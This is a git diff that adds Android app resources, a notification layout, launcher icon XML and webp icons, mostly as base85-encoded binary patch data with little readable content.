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 literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/layout/notification.xml b/source code/apk src code v3/app/src/main/res/layout/notification.xml new file mode 100644 index 0000000..7822241 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/layout/notification.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100644 index 0000000000000000000000000000000000000000..c209e78ecd372343283f4157dcfd918ec5165bb3 GIT binary patch literal 1404 zcmV-?1%vuhNk&F=1pok7MM6+kP&il$0000G0000-002h-06|PpNX!5L00Dqw+t%{r zzW2vH!KF=w&cMnnN@{whkTw+#mAh0SV?YL=)3MimFYCWp#fpdtz~8$hD5VPuQgtcN zXl<@<#Cme5f5yr2h%@8TWh?)bSK`O z^Z@d={gn7J{iyxL_y_%J|L>ep{dUxUP8a{byupH&!UNR*OutO~0{*T4q5R6@ApLF! z5{w?Z150gC7#>(VHFJZ-^6O@PYp{t!jH(_Z*nzTK4 zkc{fLE4Q3|mA2`CWQ3{8;gxGizgM!zccbdQoOLZc8hThi-IhN90RFT|zlxh3Ty&VG z?Fe{#9RrRnxzsu|Lg2ddugg7k%>0JeD+{XZ7>Z~{=|M+sh1MF7~ zz>To~`~LVQe1nNoR-gEzkpe{Ak^7{{ZBk2i_<+`Bq<^GB!RYG+z)h;Y3+<{zlMUYd zrd*W4w&jZ0%kBuDZ1EW&KLpyR7r2=}fF2%0VwHM4pUs}ZI2egi#DRMYZPek*^H9YK zay4Iy3WXFG(F14xYsoDA|KXgGc5%2DhmQ1gFCkrgHBm!lXG8I5h*uf{rn48Z!_@ z4Bk6TJAB2CKYqPjiX&mWoW>OPFGd$wqroa($ne7EUK;#3VYkXaew%Kh^3OrMhtjYN?XEoY`tRPQsAkH-DSL^QqyN0>^ zmC>{#F14jz4GeW{pJoRpLFa_*GI{?T93^rX7SPQgT@LbLqpNA}<@2wH;q493)G=1Y z#-sCiRNX~qf3KgiFzB3I>4Z%AfS(3$`-aMIBU+6?gbgDb!)L~A)je+;fR0jWLL-Fu z4)P{c7{B4Hp91&%??2$v9iRSFnuckHUm}or9seH6 z>%NbT+5*@L5(I9j@06@(!{ZI?U0=pKn8uwIg&L{JV14+8s2hnvbRrU|hZCd}IJu7*;;ECgO%8_*W Kmw_-CKmY()leWbG literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100644 index 0000000000000000000000000000000000000000..b2dfe3d1ba5cf3ee31b3ecc1ced89044a1f3b7a9 GIT binary patch literal 2898 zcmV-Y3$650Nk&FW3jhFDMM6+kP&il$0000G0000-002h-06|PpNWB9900E$G+qN-D z+81ABX7q?;bwx%xBg?kcwr$(C-Tex-ZCkHUw(Y9#+`E5-zuONG5fgw~E2WDng@Bc@ z24xy+R1n%~6xI#u9vJ8zREI)sb<&Il(016}Z~V1n^PU3-_H17A*Bf^o)&{_uBv}Py zulRfeE8g(g6HFhk_?o_;0@tz?1I+l+Y#Q*;RVC?(ud`_cU-~n|AX-b`JHrOIqn(-t&rOg-o`#C zh0LPxmbOAEb;zHTu!R3LDh1QO zZTf-|lJNUxi-PpcbRjw3n~n-pG;$+dIF6eqM5+L();B2O2tQ~|p{PlpNcvDbd1l%c zLtXn%lu(3!aNK!V#+HNn_D3lp z2%l+hK-nsj|Bi9;V*WIcQRTt5j90A<=am+cc`J zTYIN|PsYAhJ|=&h*4wI4ebv-C=Be#u>}%m;a{IGmJDU`0snWS&$9zdrT(z8#{OZ_Y 